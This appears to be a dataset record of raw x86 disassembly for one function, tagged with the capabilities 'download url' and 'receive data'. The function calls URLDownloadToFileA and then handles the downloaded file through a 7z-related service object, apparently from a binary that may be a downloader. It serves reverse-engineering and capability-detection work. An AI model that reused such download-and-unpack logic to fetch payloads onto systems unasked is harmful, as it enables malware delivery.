Function at 0x1001c710
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d87c
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x78]
push 0x10053b68
push eax
call fcn.100366bd
add esp, 0xc
xor ebx, ebx
push 0xffffffffffffffff
push ebx
push 0x100a1ee0
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x80], 0xf
mov dword [ebp - 0x84], ebx
mov byte [ebp - 0x94], bl
call fcn.10002da0
push 1
mov eax, 0x1005465c
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], ebx
call fcn.10002620
lea eax, [ebp - 0x78]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1001c7a0
sub eax, edx
push eax
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x94]
call fcn.10002620
mov ecx, dword [0x100a2064]
mov edi, 0x10
cmp dword [0x100a2078], edi
jae 0x1001c7d0
mov ecx, 0x100a2064
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x80], edi
jae 0x1001c7e1
lea eax, [ebp - 0x94]
push ebx
push ebx
push ecx
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x1001c80b
cmp dword [ebp - 0x80], edi
jb 0x1001c804
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.10032d80
add esp, 4
xor al, al
jmp 0x1001c9dc
mov dword [ebp - 0xd4], vtable._7zService.0
mov dword [ebp - 0xd0], ebx
push 0x100a2064
lea esi, [ebp - 0xd4]
mov byte [ebp - 4], 1
call fcn.100010d0
test al, al
jne 0x1001c858
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.10001070
cmp dword [ebp - 0x80], edi
jb 0x1001c804
mov edx, dword [ebp - 0x94]
push edx
call fcn.10032d80
add esp, 4
xor al, al
jmp 0x1001c9dc
mov dword [ebp - 0xd8], ebx
mov ebx, 1
mov eax, 0x100a1ee0
call fcn.1000e120
push 0x24
lea ecx, [eax + 1]
lea esi, [ebp - 0xb0]
mov edx, 0x100a1ee0
call fcn.1000b190
mov bl, 2
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0xa0]
add eax, 0xfffffffe
push eax
xor ecx, ecx
lea esi, [ebp - 0xcc]
lea edx, [ebp - 0xb0]
call fcn.1000b190
mov edi, eax
lea esi, [ebp - 0xb0]
mov byte [ebp - 4], 3
call fcn.100029b0
mov esi, 0x10
mov byte [ebp - 4], bl
cmp dword [ebp - 0xb8], esi
jb 0x1001c8d4
mov ecx, dword [ebp - 0xcc]
push ecx
call fcn.10032d80
add esp, 4
lea edx, [ebp - 0xd8]
push edx
lea eax, [ebp - 0xb0]
xor ebx, ebx
push eax
lea ecx, [ebp - 0xdc]
lea edx, [ebp - 0xd4]
mov dword [ebp - 0xdc], ebx
call fcn.10001240
test al, al
jne 0x1001c965
mov ecx, dword [ebp - 0xd8]
push ecx
call fcn.10034d29
add esp, 4
cmp dword [ebp - 0x9c], esi
jb 0x1001c925
mov edx, dword [ebp - 0xb0]
push edx
call fcn.10032d80
add esp, 4
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x9c], 0xf
mov dword [ebp - 0xa0], ebx
mov byte [ebp - 0xb0], bl
mov byte [ebp - 4], bl
call fcn.10001070
cmp dword [ebp - 0x80], esi
jb 0x1001c804
mov eax, dword [ebp - 0x94]
push eax
call fcn.10032d80
add esp, 4
xor al, al
jmp 0x1001c9dc
mov ecx, dword [ebp - 0xdc]
mov esi, dword [ebp - 0xd8]
push ecx
mov ecx, esi
call fcn.1001cc80
push esi
test al, al
jne 0x1001c9ae
call fcn.10034d29
add esp, 4
lea ecx, [ebp - 0xb0]
call fcn.10002e90
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], bl
call fcn.10001070
lea ecx, [ebp - 0x94]
call fcn.10002e90
xor al, al
jmp 0x1001c9dc
call fcn.10034d29
add esp, 4
lea ecx, [ebp - 0xb0]
call fcn.10002e90
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], bl
call fcn.10001070
lea ecx, [ebp - 0x94]
call fcn.10002e90
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret